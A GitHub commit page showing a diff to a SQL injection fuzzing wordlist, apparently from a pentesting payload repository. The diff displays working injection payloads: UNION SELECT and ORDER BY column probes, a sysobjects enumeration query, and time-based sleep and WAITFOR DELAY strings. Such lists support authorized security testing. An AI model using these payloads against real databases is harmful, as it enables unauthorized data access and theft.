Skip to content

Commit

Permalink
Merge pull request swisskyrepo#287 from beomsu317/master
Browse files Browse the repository at this point in the history
Update SQL-Injection
  • Loading branch information
swisskyrepo authored Nov 3, 2020
2 parents 464fbeb + 4c3cb6f commit f9e2512
Showing 1 changed file with 0 additions and 20 deletions.
20 changes: 0 additions & 20 deletions SQL Injection/Intruder/SQL-Injection
Original file line number Diff line number Diff line change
Expand Up @@ -29,11 +29,8 @@
+ addition, concatenate (or space in url)
|| (double pipe) concatenate
% wildcard attribute indicator

@variable local variable
@@variable global variable


# Numeric
AND 1
AND 0
Expand All @@ -43,44 +40,27 @@ AND false
1-true
1*56
-2


1' ORDER BY 1--+
1' ORDER BY 2--+
1' ORDER BY 3--+

1' ORDER BY 1,2--+
1' ORDER BY 1,2,3--+

1' GROUP BY 1,2,--+
1' GROUP BY 1,2,3--+
' GROUP BY columnnames having 1=1 --


-1' UNION SELECT 1,2,3--+
' UNION SELECT sum(columnname ) from tablename --


-1 UNION SELECT 1 INTO @,@
-1 UNION SELECT 1 INTO @,@,@

1 AND (SELECT * FROM Users) = 1

' AND MID(VERSION(),1,1) = '5';

' and 1 in (select min(name) from sysobjects where xtype = 'U' and name > '.') --


Finding the table name


Time-Based:
,(select * from (select(sleep(10)))a)
%2c(select%20*%20from%20(select(sleep(10)))a)
';WAITFOR DELAY '0:0:30'--

Comments:

# Hash comment
/* C-style comment
-- - SQL comment
Expand Down

0 comments on commit f9e2512

Please sign in to comment.